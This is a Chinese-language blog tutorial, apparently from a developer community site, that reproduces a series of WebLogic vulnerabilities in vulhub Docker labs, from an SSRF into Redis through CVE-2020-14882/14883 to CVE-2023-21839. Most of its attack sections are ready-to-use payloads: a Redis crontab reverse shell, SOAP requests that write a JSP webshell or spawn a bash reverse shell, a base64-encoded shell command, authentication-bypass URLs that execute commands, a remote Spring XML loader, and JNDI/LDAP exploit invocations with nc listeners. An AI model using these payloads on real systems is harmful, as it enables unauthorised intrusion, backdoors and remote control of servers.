简介:利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
漏洞环境
https://github.com/vulhub/vulhub
启动环境
docker-compose up -d
启动如下
环境启动
访问http://110.41.41.14:7001/uddiexplorer/,无需登录
SSRF漏洞测试
漏洞url为http://110.41.41.14:7001/uddiexplorer/SearchPublicRegistries.jsp,存在漏洞参数字段为operator
我们使用burpsuite测试该漏洞,访问本地7001端口,端口可访问会得到如下报错
当我们访问不存在的端口,会返回could not connect over错误信息
通过返回的错误消息不同。即可探测内网状态
注入HTTP头,利用Redis反弹shell
weblogic是可以通过%0a%d来注入换行符的,而redis服务也是通过换行符来分隔每条命令,因此我们可以通过该SSRF攻击内网中的redis服务器,通过日志写入方式getshell
如下图:访问内网ip报错内容为如下信息即为连通
发送如下redis命令即可讲反弹shell命令写入日志
set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
http%3a%2f%2f172.18.0.2%3a6379%2ftest%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2f110.41.41.14%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaaa
注意:
evil处需填写shell接受者IP并且需要进行URL编码
换行符是“\r\n”,也就是“%0D%0A”,所以我们结尾需要添加换行符保证写入任务计划文件的格式不被打乱
复制
NC监听成功反弹shell
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
简介
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令
漏洞环境
https://github.com/vulhub/vulhub
启动环境
docker-compose up -d
启动如下
访问http://110.41.41.14:7001/wls-wsat/CoordinatorPortType,出现下图信息表示环境启动成功
我们测试webshell是否能够成功写入
进入docker容器查看成功写入
写入webshell,路径为/bea_wls_internal/test.jsp,注意请求头content-type字段改为text/xml类型
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string><![CDATA[<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]></string>
</void>
<void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
复制
浏览器访问webshell进行命令执行成功
写入反弹shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
复制
vps监听成功接收shell
简介
该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令,T3协议简单来说就是快速传输协议
漏洞环境
https://github.com/vulhub/vulhub
启动环境
docker-compose up -d
启动如下
漏洞复现
此漏洞复现需要下载ysoserial和exploit.py脚本,我们使用ysoserial开启JRMP服务
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 'mkdir /tmp/test'
工具使用可具体参考以下链接 http://ytming.cn/index.php/2024/03/10/ysoserial工具使用/
复制
运行exploit脚本
python /root/44553.py 110.41.41.14 7001 ysoserial.jar 110.41.41.14 2333 JRMPClient
其中参数含义依次是 语言 脚本路径 目标IP 目标端口 ysoserial本地路径 ysoserial服务IP ysoserial服务端口 ysoserial监听服务名称
此脚本运行最好在python2环境下使用,应为python3编码与python2不同,导致出现问题
复制
下图,握手成功表示脚本成功运行
如下图,进入docker可查看成功创建目录
最后
我想试着能不能反弹shell能不能成功,但是不知到什么鬼原因无法复现,有兴趣可以自己下来试一下
应为java语言特性,不能存在重定向符号,所以我们需要使用编码来绕过
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuNDEuMTQvMjEgMD4mMQ==}|{base64,-d}|{bash,-i}
复制
简介
Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
漏洞环境
https://github.com/vulhub/vulhub
启动环境
docker-compose up -d
启动如下
漏洞复现
输入此命令即可查看weblogic用户密码,密码随机,请自行docker查看密码
访问http://110.41.41.14/console界面输入用户名密码进入下图界面开机WEB测试页面
访问http://110.41.41.14:7001/ws_utc/config.do Work Home Dir参数字段替换为如下路径/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 点击提交即可
点击安全--添加--随便输入,文件为你要上传的脚本文件
打开burp抓包,通过时间戳_文件名.jsp访问http://110.41.41.14:7001/ws_utc/css/config/keystore/1709900051479_10.jsp
浏览器访问输入需要执行的命令即可成功访问
此次文件上传漏洞复现操作是比较简易的,但是此漏洞前提是需要知道后台管理员密码
简介
此次复现是两个漏洞组合导致远程命令执行,分别是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
漏洞环境
https://github.com/vulhub/vulhub
启动环境
docker-compose up -d
启动如下
漏洞复现
通过该/console/css/%252e%252e%252fconsole.portal路径访问直接绕过登录页面,但是仔细发现或者对后台进行页面操作发现很多功能是没有的或者提示权限不足
通过上述可知漏洞危害不大,此时需要利用到第二个漏洞CVE-2020-14883,这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
直接访问如下URL即可利用第一种方式执行命令:
http://110.41.41.14:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
进入docker即可发现文件创建成功
但是第一种利用方法只能在Weblogic 12.2.1以上利用,因为10.3.6不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,在CVE-2019-2725就被利用,对于所有Weblogic版本都是通杀
那么此方法利用方式首先需要构造一个XML文件,并将其保存在weblogic可以访问到的服务器上,如http://110.41.41.14/rce.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
复制
我们vps直接使用python搭建简单http服务
然后通过如下URL,即可让weblogic加载这个xml并执行xml文件中的命令
http://110.41.41.14:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://110.41.41.14:888/rce.xml")
成功创建文件
此方法需要weblogic成功访问到我们搭建的恶意url,所以利用条件是有限制的
简介
CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 RCE 漏洞
漏洞环境
https://github.com/vulhub/vulhub
启动环境
docker-compose up -d
启动如下
漏洞复现
https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839
https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4
上述URL为此漏洞复现所需工具,此工具需要使用JDK8版本
使用java执行jar包
DNS请求成功响应,说明漏洞存在
反弹shell
首先需要使用JNDIExploit-1.4-SNAPSHOT.jar启动ldap服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 110.41.41.14
nc进行监听
nc -lp 8888
再存在JDK8版本上执行如下命令
java -jar Weblogic-CVE-2023-21839.jar 110.41.41.14:7001 ldap://110.41.41.14:1389/Basic/ReverseShell/110.41.41.14/8888
成功返回shell
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。